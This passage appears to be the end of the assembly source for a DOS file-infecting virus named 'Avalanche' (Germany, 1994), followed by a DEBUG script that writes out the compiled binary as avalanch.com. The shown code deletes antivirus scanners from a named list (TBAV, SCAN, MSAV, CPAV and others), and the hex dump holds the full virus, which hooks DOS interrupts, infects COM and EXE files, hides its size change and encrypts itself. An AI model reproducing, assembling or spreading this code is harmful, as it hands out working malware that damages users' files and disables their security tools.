cx,4 mov di,offset scanner call search ; search for scanner jae fuckend gotcha: mov dx,si mov ah,41h ; delete scanner pushf call cs:[OrgDos] fuckend: call popall ENDIF ret fuck_scanner ENDP ;************************************************************************** ; compare a string with a list of strings ; INPUT: DS:SI string to find ; es:di list ; cx number of bytes to compare ; OUPUT: C=1 if string was found ; DX position of string ;************************************************************************** search PROC NEAR mov ax,cx ; store cx xor dx,dx cld comp: mov cx,ax push si ; store SI (pointer to reference) repe cmpsb ; compare strings pop si jz treffer ; Z=1 -> string found s_str: cmp byte ptr es:[di],0 ; find start of next string in list je str_gef inc di jmp short s_str str_gef: inc di cmp byte ptr es:[di],0 ; end of list ? je failed inc dx jmp short comp treffer: stc ret failed: clc ret search ENDP ;--------------------------------------------------------------------------- pushall proc near pop cs:[ret_off] pushf push ax push bx push cx push dx push bp push si push di push es push ds push cs:[ret_off] ret pushall endp ;---------------------------------------------------------------------------- popall proc near pop cs:[ret_off] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push cs:[ret_off] ret popall endp vor_header equ this byte orig_exehead db 1ch dup (?) ; position of original exe header virende equ this byte code ends end start ----------------------------------- N avalanch.com E 0100 66 B9 F0 0A 00 00 BB 1D 02 EB 06 EA 2E 80 37 00 E 0110 43 E2 F9 E8 00 00 58 8B E8 81 ED 16 01 EB 01 81 E 0120 EB 58 20 41 56 41 4C 41 4E 43 48 45 2F 47 65 72 E 0130 6D 61 6E 79 20 27 39 34 2E 2E 2E 4D 65 74 61 6C E 0140 20 4A 75 6E 6B 69 65 20 67 72 65 65 74 73 20 4E E 0150 65 75 72 6F 62 61 73 68 65 72 00 00 00 00 00 00 E 0160 FE FF 00 00 00 10 00 01 00 00 C3 00 01 E9 00 00 E 0170 00 00 00 00 00 00 00 01 00 00 FA 8C 9E 5C 01 FC E 0180 0E 1F B8 F0 4B 33 FF CD 21 81 FF 68 73 75 03 E9 E 0190 50 01 B4 30 CD 21 3C 05 73 03 E9 45 01 B4 04 CD E 01A0 1A 72 0E 81 F9 96 19 73 08 80 FE 01 73 03 E9 31 E 01B0 01 E8 46 01 B4 0E B2 AD CD 21 3C BA 75 4A E9 21 E 01C0 01 8B 86 5C 01 8E D8 8E C0 80 BE 77 01 01 74 1F E 01D0 8C C0 03 86 5A 01 05 10 00 89 86 68 01 8B A6 60 E 01E0 01 8C C0 2E 03 86 62 01 05 10 00 8E D0 EB 07 8C E 01F0 C8 2E 89 86 68 01 33 C0 8B D8 8B C8 8B D0 8B F0 E 0200 8B F8 FB 2E FF AE 66 01 8B 86 5C 01 8E C0 8B 9E E 0210 64 01 B4 4A CD 21 73 03 E9 C7 00 0E 07 C6 86 26 E 0220 04 00 C6 86 25 04 00 B8 00 58 CD 21 89 86 74 01 E 0230 B8 02 58 CD 21 73 03 E9 A8 00 88 86 76 01 B8 01 E 0240 58 BB 02 00 CD 21 B8 03 58 BB 00 00 CD 21 BB D7 E 0250 00 B4 48 CD 21 72 65 50 48 8E C0 40 26 C7 06 00 E 0260 00 5A 00 26 C7 06 01 00 08 00 B8 21 35 CD 21 89 E 0270 9E 05 04 8C 86 07 04 89 9E 0D 04 8C 86 0F 04 E8 E 0280 C3 00 3D FF 00 74 08 8C 86 0F 04 89 86 0D 04 B8 E 0290 13 35 CD 21 89 9E 09 04 8C 86 0B 04 07 06 BE 00 E 02A0 01 03 F5 BF 00 01 B9 02 0B F3 A4 BA 31 04 B8 21 E 02B0 25 1F CD 21 BA BD 07 B8 13 25 CD 21 0E 1F FF B6 E 02C0 5C 01 07 BB FF FF B4 4A CD 21 B4 4A CD 21 8A 9E E 02D0 76 01 32 FF B8 03 58 CD 21 8B 9E 74 01 B8 01 58 E 02E0 CD 21 80 BE 77 01 01 75 0E 8B BE 66 01 BE 6A 01 E 02F0 03 F5 B9 03 00 F3 A4 E9 C7 FE 06 50 53 51 52 56 E 0300 57 B8 00 FA BA 45 59 CD 16 81 FF 59 45 75 17 B8 E 0310 02 FA BA 45 59 B3 00 CD 16 80 E1 17 8A D9 B8 02 E 0320 FA BA 45 59 CD 16 1E 33 C0 8E D8 C4 36 84 00 1F E 0330 26 8B 04 3D EB 05 75 05 26 C7 04 90 90 5F 5E 5A E 0340 59 5B 58 07 C3 B4 52 CD 21 72 75 26 8B 47 FE 89 E 0350 86 CF 03 33 C0 8E C0 26 C4 06 04 00 89 86 C6 03 E 0360 8C 86 C8 03 2E C6 86 CE 03 00 2E 89 AE D7 03 FA E 0370 33 C0 8E C0 BB D1 03 03 DD 26 89 1E 04 00 26 8C E 0380 0E 06 00 FB 9C 58 80 CC 01 50 9D B4 0B FA 9C 2E E 0390 FF 9E 05 04 9C 58 25 FF FE 50 9D FA 1E 33 C0 8E E 03A0 D8 2E C4 86 C6 03 A3 04 00 8C 06 06 00 1F FB 80 E 03B0 BE CE 03 01 75 0B 8B 86 CC 03 8E C0 8B 86 CA 03 E 03C0 C3 B8 FF 00 EB FA 00 00 00 00 00 00 00 00 00 00 E 03D0 00 55 8B EC 50 56 BE 00 00 8B 46 04 2E 3B 84 CF E 03E0 03 76 04 5E 58 5D CF 2E 89 84 CC 03 8B 46 02 2E E 03F0 89 84 CA 03 2E C6 84 CE 03 01 81 66 06 FF FE EB E 0400 E2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0420 00 00 00 00 00 00 00 2A 2E 63 6F 6D 00 FB B0 03 E 0430 CF 80 FC 4B 75 1E 3C F0 74 11 3C 05 74 11 3C 03 E 0440 74 0D 2E C6 06 23 04 00 E9 77 03 BF 68 73 CF 2E E 0450 FF 2E 05 04 2E 80 3E 25 04 01 74 3A 2E 80 3E 26 E 0460 04 01 74 32 80 FC 4E 75 02 EB 30 80 FC 4F 75 02 E 0470 EB 29 80 FC 11 74 5F 80 FC 12 74 5A EB 00 3D 00 E 0480 57 75 03 E9 A6 00 80 FC 42 75 03 E9 BF 00 80 FC E 0490 3F 75 03 E9 F4 00 2E FF 2E 05 04 9C 2E FF 1E 05 E 04A0 04 72 02 EB 03 CA 02 00 E8 11 07 B4 2F CD 21 26 E 04B0 8B 47 18 25 00 FE B1 09 D3 E8 3D 5A 00 76 11 26 E 04C0 81 6F 1A 02 0B 26 83 5F 1C 00 26 81 6F 18 00 C8 E 04D0 E8 FE 06 CA 02 00 9C 2E FF 1E 05 04 E8 DD 06 3C E 04E0 FF 75 02 EB 41 B4 2F CD 21 26 80 3F FF 74 08 BE E 04F0 19 00 BF 1D 00 EB 06 BE 20 00 BF 24 00 26 8B 00 E 0500 25 00 FE B1 09 D3 E8 3D 5A 00 76 1A 26 81 29 02 E 0510 0B 26 83 59 02 00 26 81 69 F9 02 0B 26 83 59 FB E 0520 00 26 81 28 00 C8 E8 A8 06 CA 02 00 9C 2E FF 1E E 0530 05 04 9C 50 51 8B C2 25 00 FE B1 09 D3 E8 3D 5A E 0540 00 76 04 81 EA 00 C8 59 58 9D CA 02 00 3C 02 75 E 0550 18 0B CA 75 14 E8 AA 05 73 0F B9 FF FF BA FE F4 E 0560 9C 2E FF 1E 05 04 CA 02 00 2E FF 2E 05 04 00 00 E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0580 00 00 00 00 00 00 00 00 00 00 83 FB 05 73 02 EB E 0590 40 E8 6E 05 73 3B 2E 8C 1E 80 05 0E 1F A3 82 05 E 05A0 89 1E 6E 05 89 0E 70 05 89 16 86 05 8C 06 7E 05 E 05B0 EB 44 2E 8B 0E 70 05 2E 8B 1E 6E 05 2E 8B 16 86 E 05C0 05 2E A1 7E 05 8E C0 2E A1 80 05 8E D8 2E A1 82 E 05D0 05 2E FF 2E 05 04 2E 8B 0E 70 05 2E 8B 16 86 05 E 05E0 2E 8B 1E 7E 05 8E C3 2E 8B 1E 80 05 8E DB 2E 8B E 05F0 1E 6E 05 CA 02 00 B8 01 42 33 C9 33 D2 9C 2E FF E 0600 1E 05 04 72 AD A3 72 05 89 16 74 05 03 06 70 05 E 0610 83 D2 00 A3 76 05 89 16 78 05 B8 02 42 33 C9 33 E 0620 D2 9C 2E FF 1E 05 04 2D 02 0B 83 DA 00 A3 7A 05 E 0630 89 16 7C 05 B8 00 42 8B 0E 74 05 8B 16 72 05 9C E 0640 2E FF 1E 05 04 73 03 E9 68 FF A1 72 05 3D 1D 00 E 0650 72 11 8B 1E 74 05 C4 0E 7A 05 8C C2 E8 28 01 72 E 0660 20 EB 35 C4 06 76 05 8C C3 33 D2 B9 1D 00 E8 16 E 0670 01 72 2C C4 0E 7A 05 8C C2 E8 0B 01 72 5E E9 D5 E 0680 00 C4 06 76 05 8C C3 C4 0E 7A 05 8C C2 E8 F7 00 E 0690 72 03 E9 D0 00 E9 CA 00 B8 00 00 F8 E9 37 FF BA E 06A0 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 F8 E 06B0 00 8B 16 86 05 8B 0E 70 05 8B 1E 6E 05 B4 3F FF E 06C0 36 80 05 1F 9C 2E FF 1E 05 04 0E 1F 8B 0E 78 05 E 06D0 8B 16 76 05 B0 00 E8 D0 00 E9 FA FE 8B 0E 70 05 E 06E0 8B 1E 6E 05 8B 16 86 05 FF 36 80 05 1F B4 3F 9C E 06F0 2E FF 1E 05 04 73 03 E9 DC FE 0E 1F A3 88 05 BA E 0700 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 98 E 0710 00 73 03 59 EB 7E 59 FF 36 80 05 58 8B 16 86 05 E 0720 03 16 72 05 15 00 00 8E D8 2E 8B 1E 6E 05 B4 3F E 0730 9C 2E FF 1E 05 04 73 02 EB 5A 0E 1F 8B 0E 74 05 E 0740 8B 16 72 05 03 16 88 05 83 D1 00 32 C0 E8 59 00 E 0750 A1 88 05 E9 80 FE A1 7A 05 2B 06 72 05 8B C8 E9 E 0760 7E FF E9 4D FE 8B 0E 7A 05 2B 0E 72 05 51 8B 1E E 0770 6E 05 8B 16 86 05 B4 3F FF 36 80 05 1F 9C 2E FF E 0780 1E 05 04 59 E9 6C FE 3B DA 77 08 72 06 3B C1 77 E 0790 02 72 00 C3 2E 8B 16 72 05 2E 8B 0E 74 05 32 C0 E 07A0 E8 06 00 33 C0 F8 E9 2D FE 50 53 52 B4 42 2E 8B E 07B0 1E 6E 05 9C 2E FF 1E 05 04 5A 5B 58 C3 2E FF 2E E 07C0 09 04 E8 F7 03 2E C6 06 23 04 00 2E C6 06 26 04 E 07D0 00 E8 26 FB EB 09 E8 E3 03 2E C6 06 23 04 01 2E E 07E0 89 16 11 04 2E 8C 1E 13 04 2E C6 06 24 04 00 1E E 07F0 52 E8 5B 02 5A 1F B8 00 43 CD 21 73 03 E9 B0 00 E 0800 2E 89 0E 1D 04 F7 C1 04 00 74 03 E9 A2 00 B8 01 E 0810 43 83 E1 FE 9C 2E FF 1E 05 04 73 03 E9 8E 00 E8 E 0820 40 03 B8 00 3D 9C 2E FF 1E 05 04 73 02 EB 7E 8B E 0830 D8 0E 1F 89 1E 1F 04 53 B8 20 12 CD 2F 26 8A 05 E 0840 8A D8 B8 16 12 CD 2F 5B 73 02 EB 56 26 C7 45 02 E 0850 02 00 E8 AD 02 73 02 EB 49 BA 00 00 B9 1C 00 B4 E 0860 3F CD 21 72 3D 8B F2 B9 1C 00 BF E6 0B 0E 07 F3 E 0870 A4 B8 02 42 33 C9 33 D2 9C 2E FF 1E 05 04 73 02 E 0880 EB 20 A3 70 01 89 16 72 01 2E 81 3E 00 00 4D 5A E 0890 75 05 E8 ED 00 EB 0B 81 3E 70 01 30 F2 77 03 E8 E 08A0 64 00 E8 28 00 B4 3E 9C 2E FF 1E 0D 04 E8 3E 00 E 08B0 E8 BE 01 2E 80 3E 23 04 01 74 08 E8 13 03 2E FF E 08C0 2E 05 04 2E C6 06 23 04 00 E8 05 03 C3 B8 01 57 E 08D0 8B 1E 1F 04 8B 0E 1B 04 8B 16 19 04 80 3E 24 04 E 08E0 01 75 04 81 C2 00 C8 9C 2E FF 1E 0D 04 C3 8B 0E E 08F0 1D 04 B8 01 43 8B 16 11 04 8B 1E 13 04 53 1F 9C E 0900 2E FF 1E 0D 04 C3 2E A1 02 00 80 FC FF 74 72 3C E 0910 FF 74 6E 8B 1E 70 01 83 EB 03 89 1E 6E 01 B8 00 E 0920 42 2E 8B 1E 1F 04 33 D2 33 C9 9C 2E FF 1E 0D 04 E 0930 72 4F B4 40 B9 03 00 BA 6D 01 9C 2E FF 1E 0D 04 E 0940 72 3F B8 02 42 33 D2 33 C9 9C 2E FF 1E 0D 04 72 E 0950 30 C7 06 66 01 00 01 C6 06 77 01 01 2E A1 00 00 E 0960 A3 6A 01 2E A0 02 00 A2 6C 01 C7 06 64 01 00 10 E 0970 A1 70 01 05 13 01 A3 07 01 E8 1C 01 C6 06 24 04 E 0980 01 C3 0E 07 BE 00 00 83 7C 06 01 77 01 C3 80 7C E 0990 18 40 75 01 C3 80 7C 1A 00 74 01 C3 8B 16 72 01 E 09A0 A1 70 01 E8 E1 00 40 3B 44 04 74 01 C3 8B 44 16 E 09B0 A3 5A 01 8B 44 0E A3 62 01 8B 44 10 A3 60 01 8B E 09C0 44 14 A3 66 01 8B 16 72 01 A1 70 01 8B 5C 08 B1 E 09D0 04 D3 E3 2B C3 83 DA 00 8B D8 83 E3 0F 89 5C 14 E 09E0 B9 04 00 D1 FA D1 D8 E2 FA 89 44 0E 89 44 16 A3 E 09F0 64 01 C7 44 10 02 0C A1 70 01 8B 16 72 01 05 02 E 0A00 0D 83 D2 00 E8 80 00 89 5C 02 89 44 04 33 C9 BA E 0A10 00 00 8B 1E 1F 04 B8 00 42 CD 21 72 31 B4 40 B9 E 0A20 1C 00 BA 00 00 9C 2E FF 1E 05 04 72 21 B8 02 42 E 0A30 33 D2 33 C9 CD 21 72 16 C6 06 77 01 00 8B 44 14 E 0A40 05 13 00 A3 07 01 E8 4F 00 C6 06 24 04 01 C3 E8 E 0A50 6A 01 0E 1F B8 24 35 CD 21 89 1E 01 04 8C 06 03 E 0A60 04 B8 24 25 BA 2D 04 9C 2E FF 1E 0D 04 E8 61 01 E 0A70 C3 E8 48 01 2E 8B 16 01 04 A1 03 04 8E D8 B8 24 E 0A80 25 CD 21 E8 4B 01 C3 8B D8 81 E3 FF 01 B9 09 00 E 0A90 F8 D1 EA D1 D8 E2 F9 C3 0E 07 FF 06 78 01 FC BA E 0AA0 02 0B BE 00 01 8A 26 70 01 80 F4 AA 88 26 0F 01 E 0AB0 8A 26 70 01 80 F4 AA BF 00 00 33 C9 AC 81 FE 13 E 0AC0 01 76 08 81 FE E6 0B 77 02 32 C4 AA 41 81 F9 FA E 0AD0 00 76 02 EB 04 3B CA 75 E3 2B D1 52 8B 1E 1F 04 E 0AE0 BA 00 00 B4 40 9C 2E FF 1E 05 04 5A 72 13 0B D2 E 0AF0 74 0F EB BC FF 0E 78 01 83 3E 78 01 20 75 02 EB E 0B00 FE C3 53 50 51 52 B8 00 57 9C 2E FF 1E 05 04 2E E 0B10 89 16 19 04 2E 89 0E 1B 04 81 E2 00 FE B1 09 D3 E 0B20 EA 83 FA 5A 72 06 F9 5A 59 58 5B C3 F8 EB F8 46 E 0B30 2D 50 52 00 54 42 41 56 00 53 43 41 4E 00 4D 53 E 0B40 41 56 00 43 50 41 56 00 54 42 4D 45 00 54 42 46 E 0B50 49 00 54 42 53 43 00 56 49 52 53 00 54 42 44 52 E 0B60 00 00 E8 57 00 0E 07 2E A1 13 04 8E D8 2E 8B 36 E 0B70 11 04 46 80 3C 00 75 FA 4E 80 7C FF 5C 75 F9 B9 E 0B80 04 00 BF 2F 0B E8 10 00 73 0A 8B D6 B4 41 9C 2E E 0B90 FF 1E 0D 04 E8 3A 00 C3 8B C1 33 D2 FC 8B C8 56 E 0BA0 F3 A6 5E 74 13 26 80 3D 00 74 03 47 EB F7 47 26 E 0BB0 80 3D 00 74 05 42 EB E5 F9 C3 F8 C3 2E 8F 06 21 E 0BC0 04 9C 50 53 51 52 55 56 57 06 1E 2E FF 36 21 04 E 0BD0 C3 2E 8F 06 21 04 1F 07 5F 5E 5D 5A 59 5B 58 9D E 0BE0 2E FF 36 21 04 C3 R CX 0AE6 W Q